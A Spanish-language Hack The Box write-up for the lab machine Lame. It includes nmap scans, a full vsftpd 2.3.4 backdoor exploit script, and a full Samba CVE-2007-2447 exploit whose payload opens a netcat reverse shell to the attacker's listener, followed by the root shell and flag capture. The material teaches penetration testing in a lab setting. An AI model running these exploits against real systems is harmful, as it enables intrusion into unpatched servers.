Lame - Hack The Box - ESP

DESCRIPCION

A partir del día de hoy empezaré a realizar un write up de forma periódica de las máquinas retiradas de Hack the Box, es el turno de Lame, una máquina easy donde ganaremos acceso al sistema con permisos root explotando una vulnerabilidad de samba CVE-2007-2447.

INDICE

RECONOCIMIENTO DE PUERTOS

Lo primero será ver que puertos están abiertos en la máquina objetivo, para ello utilizaremos la herramienta Nmap

cat Puertos
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: Puertos
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ nmap --open -p- -T5 -Pn -oG Puertos 10.10.10.3
   2   │ Host: 10.10.10.3 () Status: Up
   3   │ Host: 10.10.10.3 () Ports: 21/open/tcp//ftp///, 22/open/tcp//ssh///, 139/open/tcp//netbios-ssn///, 445/open/tcp//microsoft-ds///, 3632/open/tcp//distccd/// Ignored State: filtered (65530)
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
❯ Reconocimiento Puertos

{*} Extrayendo puertos...

        La direccion ip es: 10.10.10.3
        Los puertos abiertos son: 21,22,139,445,3632

        Los puertos han sido copiados al portapapeles


Una vez sabemos que puertos están abiertos en la víctima, lanzaremos unos scripts de reconocimiento básicos.

nmap -sCV -O -p 21,22,139,445,3632 -oN Objetivos 10.10.10.3
Nmap scan report for 10.10.10.3
Host is up (0.054s latency).

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.16.3
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: WAP|remote management|printer|general purpose|power-device
Running (JUST GUESSING): Linux 2.4.X|2.6.X (92%), Dell embedded (92%), Linksys embedded (92%), Tranzeo embedded (92%), Xerox embedded (92%), Dell iDRAC 6 (92%), Raritan embedded (92%)
OS CPE: cpe:/o:linux:linux_kernel:2.4.36 cpe:/h:dell:remote_access_card:6 cpe:/h:linksys:wet54gs5 cpe:/h:tranzeo:tr-cpq-19f cpe:/h:xerox:workcentre_pro_265 cpe:/o:linux:linux_kernel:2.4 cpe:/o:linux:linux_kernel:2.6 cpe:/o:dell:idrac6_firmware
Aggressive OS guesses: DD-WRT v24-sp1 (Linux 2.4.36) (92%), Dell Integrated Remote Access Controller (iDRAC6) (92%), Linksys WET54GS5 WAP, Tranzeo TR-CPQ-19f WAP, or Xerox WorkCentre Pro 265 printer (92%), Linux 2.4.21 - 2.4.31 (likely embedded) (92%), Linux 2.6.8 - 2.6.30 (92%), Dell iDRAC 6 remote access controller (Linux 2.6) (92%), Raritan Dominion PX DPXR20-20L power control unit (92%), LifeSize video conferencing system (Linux 2.4.21) (92%), Linux 2.6.23 (91%), OpenWrt White Russian 0.9 (Linux 2.4.30) (90%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name: hackthebox.gr
|_  FQDN: lame.hackthebox.gr
|_clock-skew: mean: 2h00m21s, deviation: 2h49m45s, median: 19s


Vías Potenciales

FTP

Podemos observar que tenemos acceso por ftp con las credenciales anonymous:anonymous, vamos a ver que encontramos.

ftp 10.10.10.3
Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)
Name (10.10.10.3:void4m0n): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||21114|).
150 Here comes the directory listing.
226 Directory send OK.


No hemos encontrado nada de valor, sabiendo que el ftp tiene como versión vsFTPd 2.3.4 podemos ver si existe alguna vulnerabilidad.

searchsploit vsFTPd 2.3.4
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                               |  Path
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
vsftpd 2.3.4 - Backdoor Command Execution                                                                                                                                    | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)                                                                                                                       | unix/remote/17491.rb
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------


Parece que tenemos posibilidad de comprometer a la víctima, vamos a ver el exploit.

# Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution
# Date: 9-04-2021
# Exploit Author: HerculesRD
# Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html
# Version: vsftpd 2.3.4
# Tested on: debian
# CVE : CVE-2011-2523

#!/usr/bin/python3

from telnetlib import Telnet
import argparse
from signal import signal, SIGINT
from sys import exit

def handler(signal_received, frame):
    # Handle any cleanup here
    print('   [+]Exiting...')
    exit(0)

signal(SIGINT, handler)
parser=argparse.ArgumentParser()
parser.add_argument("host", help="input the address of the vulnerable host", type=str)
args = parser.parse_args()
host = args.host
portFTP = 21 #if necessary edit this line

user="USER nergal:)"
password="PASS pass"

tn=Telnet(host, portFTP)
tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line
tn.write(user.encode('ascii') + b"\n")
tn.read_until(b"password.") #if necessary, edit this line
tn.write(password.encode('ascii') + b"\n")

tn2=Telnet(host, 6200)
print('Success, shell opened')
print('Send `exit` to quit shell')
tn2.interact()%

Lanzamos el script de la siguiente forma python3 49757.py 10.10.10.3, pero no conseguimos entablar el backdoor. Tendremos que encontrar otro posible vector de ataque.

SAMBA

Si vemos la versión de samba que nos mostraba nmap tenemos lo siguiente 445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP), buscamos una vulnerabilidad para esta versión de samba.

searchsploit Samba 3.0.20
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                               |  Path
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)                                                                                             | unix/remote/16320.rb
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------

Parece ser vulnerable. Si hacemos una pequeña labor de investigación descubrimos que el CVE correspondiente es CVE-2007-2447 tenemos un informe del Incibe acerca de esta vulnerabilidad, por si le queréis echar un vistazo, como no queremos tirar de Metasploit vamos a buscar un script que abuse de esta vulnerabilidad en Github.

Tenemos este repositorio de Github donde gracias a un script en python se puede conseguir entablar una reverse shell. El autor explica la vulnerabilidad en su Blog.

Script usermap_script

Visualizamos el contenido del script:

───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
        File: usermap_script.py
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1    #!/usr/bin/python
   2    # -*- coding: utf-8 -*-
   3    
   4    # From : https://github.com/amriunix/cve-2007-2447
   5    # case study : https://amriunix.com/post/cve-2007-2447-samba-usermap-script/
   6    
   7    import sys
   8    from smb.SMBConnection import SMBConnection
   9    
  10    def exploit(rhost, rport, lhost, lport):
  11            payload = 'mkfifo /tmp/hago; nc ' + lhost + ' ' + lport + ' 0</tmp/hago | /bin/sh >/tmp/hago 2>&1; rm /tmp/hago'
  12            username = "/=`nohup " + payload + "`"
  13            conn = SMBConnection(username, "", "", "")
  14            try:
  15                conn.connect(rhost, int(rport), timeout=1)
  16            except:
  17                print("[+] Payload was sent - check netcat !")
  18    
  19    if __name__ == '__main__':
  20        print("[*] CVE-2007-2447 - Samba usermap script")
  21        if len(sys.argv) != 5:
  22            print("[-] usage: python " + sys.argv[0] + " <RHOST> <RPORT> <LHOST> <LPORT>")
  23        else:
  24            print("[+] Connecting !")
  25            rhost = sys.argv[1]
  26            rport = sys.argv[2]
  27            lhost = sys.argv[3]
  28            lport = sys.argv[4]
  29            exploit(rhost, rport, lhost, lport)
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────


Para ejecutar el script se necesitan los siguientes parámetros.

  * `RHOST` -- The target address
  * `RPORT` -- The target port (TCP : 445)
  * `LHOST` -- The listen address
  * `LPORT` -- The listen port


Antes de ejecutar el script nos pondremos por escucha con netcat por el puerto equivalente al LPORT en nuestro caso el 1234

❯ nc -lvnp 1234
listening on [any] 1234 ...


Ejecutamos el script y agregamos los parámetros necesarios.

[-] usage: python usermap_script.py <RHOST> <RPORT> <LHOST> <LPORT>

python3 usermap_script.py 10.10.10.3 445 10.10.16.3 1234
[*] CVE-2007-2447 - Samba usermap script
[+] Connecting !
[+] Payload was sent - check netcat !


Como el propio script nos dice vamos a ver si hemos conseguido entablar la reverse shell.

nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.10.3] 58132
whoami
root

TTY SPAWN

¡Perfecto! Somos usuario root, ya podríamos obtener user.txt | root.txt, pero como de costumbre vamos a spawnear una TTY totalmente interactiva para trabajar de mejor forma.

script /dev/null -c bash
root@lame:/# ^Z
[1]  + 6995 suspended  nc -lvnp 1234
❯ stty raw -echo; fg
[1]  + 6995 continued  nc -lvnp 1234
*************************En este momento debemos poner [reset xterm] no se nos mostrará ningún texto en pantalla, presionamos enter
root@lame:/# 

Ahora ya podemos trabajar de una forma adecuada con ^C, historial, flechas de movimiento, etc…

Flags

En este momento solo nos falta buscar las flags en sus respectivos directorios.

USER.TXT

root@lame:/home/makis# cat user.txt 
2d31xxxxxxxxxxxxxxxxxxxxxxxxxxxx

ROOT.TXT

root@lame:/root# cat root.txt 
cb70xxxxxxxxxxxxxxxxxxxxxxxxxxxx

CONOCIMIENTOS OBTENIDOS

De la máquina LAME podemos extraer los siguientes conocimientos:

  • Reconocimiento de puertos con Nmap.
  • Investigación acerca de vulnerabilidades.
  • Explotar una vulnerabilidad sin Metasploit.
  • Spawnear una TTY totalmente interactiva.

AUTORES y REFERENCIAS

Autor del write up: Luis Miranda Sierra. HTB.

Autor de la máquina: ch4p, muchas gracias por la creación de Lame aportando a la comunidad. HTB.